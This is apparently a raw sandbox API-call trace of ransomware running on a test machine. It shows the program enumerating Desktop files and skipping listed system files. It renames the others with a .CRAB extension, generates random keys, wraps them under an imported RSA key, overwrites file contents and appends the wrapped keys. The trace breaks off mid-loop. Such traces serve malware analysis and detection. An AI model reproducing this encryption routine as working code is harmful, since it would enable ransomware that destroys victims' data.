	[0124.914] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\bill_87448680672-2706201981722018_4_23_b83d95.pdf.js" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\bill_87448680672-2706201981722018_4_23_b83d95.pdf.js"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\bill_87448680672-2706201981722018_4_23_b83d95.pdf.js.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\bill_87448680672-2706201981722018_4_23_b83d95.pdf.js.crab")) returned 1
	[0124.915] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0124.915] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\bill_87448680672-2706201981722018_4_23_b83d95.pdf.js.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\bill_87448680672-2706201981722018_4_23_b83d95.pdf.js.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\bill_87448680672-2706201981722018_4_23_b83d95.pdf.js.CRAB"
	[0124.915] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\bill_87448680672-2706201981722018_4_23_b83d95.pdf.js.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\bill_87448680672-2706201981722018_4_23_b83d95.pdf.js.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\bill_87448680672-2706201981722018_4_23_b83d95.pdf.js.CRAB.CRAB"
	[0124.915] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e6b0) returned 1
	[0124.915] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.916] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.916] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.916] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0124.916] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0124.916] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.916] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0124.917] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.917] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.917] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.917] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0124.917] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.917] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.917] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0124.918] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0124.918] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6ed98) returned 1
	[0124.918] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158280) returned 1
	[0124.918] CryptGetKeyParam (in: hKey=0x3158280, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.918] CryptEncrypt (in: hKey=0x3158280, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0124.919] GetLastError () returned 0x0
	[0124.919] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0124.919] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0124.919] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x31582c0) returned 1
	[0124.919] CryptGetKeyParam (in: hKey=0x31582c0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.919] CryptEncrypt (in: hKey=0x31582c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0124.920] GetLastError () returned 0x0
	[0124.920] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.920] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\bill_87448680672-2706201981722018_4_23_b83d95.pdf.js.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\bill_87448680672-2706201981722018_4_23_b83d95.pdf.js.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0124.920] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0124.920] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0124.921] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0x50f8, lpOverlapped=0x0) returned 1
	[0124.935] VirtualAlloc (lpAddress=0x0, dwSize=0x5100, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0124.936] VirtualAlloc (lpAddress=0x0, dwSize=0x5100, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0124.937] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.937] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffffaf08, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.937] WriteFile (in: hFile=0x3e8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x5100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314d45c*=0x5100, lpOverlapped=0x0) returned 1
	[0124.937] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.938] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.941] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0124.941] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0124.942] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0124.942] CloseHandle (hObject=0x3e8) returned 1
	[0124.942] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.942] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.942] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.942] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.943] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.943] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.943] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0124.943] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0124.943] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0124.943] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\desktop.ini"
	[0124.943] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.943] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\desktop.ini") returned 41
	[0124.943] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\desktop.ini") returned 41
	[0124.943] lstrlenW (lpString=".ini") returned 4
	[0124.943] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.944] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0124.944] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.944] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\desktop.ini") returned 41
	[0124.944] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\desktop.ini") returned 41
	[0124.944] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0124.944] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.945] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0124.945] lstrcmpW (lpString1="GU8fC-.flv", lpString2=".") returned 1
	[0124.945] lstrcmpW (lpString1="GU8fC-.flv", lpString2="..") returned 1
	[0124.945] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="GU8fC-.flv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\GU8fC-.flv") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\GU8fC-.flv"
	[0124.945] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.945] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\GU8fC-.flv") returned 40
	[0124.945] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\GU8fC-.flv") returned 40
	[0124.945] lstrlenW (lpString=".flv") returned 4
	[0124.945] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.945] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".flv ") returned 5
	[0124.945] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.945] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\GU8fC-.flv") returned 40
	[0124.945] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\GU8fC-.flv") returned 40
	[0124.945] lstrcmpiW (lpString1="GU8fC-.flv", lpString2="desktop.ini") returned 1
	[0124.945] lstrcmpiW (lpString1="GU8fC-.flv", lpString2="autorun.inf") returned 1
	[0124.946] lstrcmpiW (lpString1="GU8fC-.flv", lpString2="ntuser.dat") returned -1
	[0124.946] lstrcmpiW (lpString1="GU8fC-.flv", lpString2="iconcache.db") returned -1
	[0124.946] lstrcmpiW (lpString1="GU8fC-.flv", lpString2="bootsect.bak") returned 1
	[0124.946] lstrcmpiW (lpString1="GU8fC-.flv", lpString2="boot.ini") returned 1
	[0124.946] lstrcmpiW (lpString1="GU8fC-.flv", lpString2="ntuser.dat.log") returned -1
	[0124.946] lstrcmpiW (lpString1="GU8fC-.flv", lpString2="thumbs.db") returned -1
	[0124.946] lstrcmpiW (lpString1="GU8fC-.flv", lpString2="CRAB-DECRYPT.txt") returned 1
	[0124.946] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.946] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\GU8fC-.flv.CRAB") returned 45
	[0124.946] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\GU8fC-.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\gu8fc-.flv")) returned 0x20
	[0124.946] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\GU8fC-.flv", dwFileAttributes=0x20) returned 1
	[0124.946] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\GU8fC-.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\gu8fc-.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\GU8fC-.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\gu8fc-.flv.crab")) returned 1
	[0124.947] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0124.947] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\GU8fC-.flv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\GU8fC-.flv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\GU8fC-.flv.CRAB"
	[0124.947] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\GU8fC-.flv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\GU8fC-.flv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\GU8fC-.flv.CRAB.CRAB"
	[0124.947] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e738) returned 1
	[0124.948] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.948] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.948] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.948] CryptGenRandom (in: hProv=0xd6e738, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0124.949] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0124.949] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.949] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6eb78) returned 1
	[0124.949] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.949] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.950] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.950] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0124.950] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0124.950] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.950] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0124.950] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0124.950] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0124.951] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x31583c0) returned 1
	[0124.951] CryptGetKeyParam (in: hKey=0x31583c0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.951] CryptEncrypt (in: hKey=0x31583c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0124.951] GetLastError () returned 0x0
	[0124.951] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.951] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0124.952] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158700) returned 1
	[0124.952] CryptGetKeyParam (in: hKey=0x3158700, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.952] CryptEncrypt (in: hKey=0x3158700, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0124.952] GetLastError () returned 0x0
	[0124.952] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.952] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\GU8fC-.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\gu8fc-.flv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0124.953] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0124.953] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0124.953] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0x92ed, lpOverlapped=0x0) returned 1
	[0124.965] VirtualAlloc (lpAddress=0x0, dwSize=0x92f0, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0124.966] VirtualAlloc (lpAddress=0x0, dwSize=0x92f0, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0124.967] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.971] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff6d13, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.972] WriteFile (in: hFile=0x3e8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x92f0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314d45c*=0x92f0, lpOverlapped=0x0) returned 1
	[0124.972] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.972] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.977] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0124.977] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0124.977] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0124.977] CloseHandle (hObject=0x3e8) returned 1
	[0124.978] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.987] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.988] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.988] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.988] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.988] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.989] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0124.989] lstrcmpW (lpString1="oS9Q-aZua tTeFXYxb.mp3", lpString2=".") returned 1
	[0124.989] lstrcmpW (lpString1="oS9Q-aZua tTeFXYxb.mp3", lpString2="..") returned 1
	[0124.989] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="oS9Q-aZua tTeFXYxb.mp3" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\oS9Q-aZua tTeFXYxb.mp3") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\oS9Q-aZua tTeFXYxb.mp3"
	[0124.989] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.989] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\oS9Q-aZua tTeFXYxb.mp3") returned 52
	[0124.989] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\oS9Q-aZua tTeFXYxb.mp3") returned 52
	[0124.989] lstrlenW (lpString=".mp3") returned 4
	[0124.989] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.989] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mp3 ") returned 5
	[0124.989] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.990] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\oS9Q-aZua tTeFXYxb.mp3") returned 52
	[0124.990] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\oS9Q-aZua tTeFXYxb.mp3") returned 52
	[0124.990] lstrcmpiW (lpString1="oS9Q-aZua tTeFXYxb.mp3", lpString2="desktop.ini") returned 1
	[0124.990] lstrcmpiW (lpString1="oS9Q-aZua tTeFXYxb.mp3", lpString2="autorun.inf") returned 1
	[0124.990] lstrcmpiW (lpString1="oS9Q-aZua tTeFXYxb.mp3", lpString2="ntuser.dat") returned 1
	[0124.990] lstrcmpiW (lpString1="oS9Q-aZua tTeFXYxb.mp3", lpString2="iconcache.db") returned 1
	[0124.990] lstrcmpiW (lpString1="oS9Q-aZua tTeFXYxb.mp3", lpString2="bootsect.bak") returned 1
	[0124.990] lstrcmpiW (lpString1="oS9Q-aZua tTeFXYxb.mp3", lpString2="boot.ini") returned 1
	[0124.990] lstrcmpiW (lpString1="oS9Q-aZua tTeFXYxb.mp3", lpString2="ntuser.dat.log") returned 1
	[0124.990] lstrcmpiW (lpString1="oS9Q-aZua tTeFXYxb.mp3", lpString2="thumbs.db") returned -1
	[0124.990] lstrcmpiW (lpString1="oS9Q-aZua tTeFXYxb.mp3", lpString2="CRAB-DECRYPT.txt") returned 1
	[0124.990] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.990] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\oS9Q-aZua tTeFXYxb.mp3.CRAB") returned 57
	[0124.990] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\oS9Q-aZua tTeFXYxb.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\os9q-azua ttefxyxb.mp3")) returned 0x20
	[0124.990] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\oS9Q-aZua tTeFXYxb.mp3", dwFileAttributes=0x20) returned 1
	[0124.991] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\oS9Q-aZua tTeFXYxb.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\os9q-azua ttefxyxb.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\oS9Q-aZua tTeFXYxb.mp3.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\os9q-azua ttefxyxb.mp3.crab")) returned 1
	[0124.992] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0124.992] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\oS9Q-aZua tTeFXYxb.mp3.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\oS9Q-aZua tTeFXYxb.mp3.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\oS9Q-aZua tTeFXYxb.mp3.CRAB"
	[0124.992] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\oS9Q-aZua tTeFXYxb.mp3.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\oS9Q-aZua tTeFXYxb.mp3.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\oS9Q-aZua tTeFXYxb.mp3.CRAB.CRAB"
	[0124.992] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0124.993] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.993] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.993] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.993] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0124.993] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.993] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
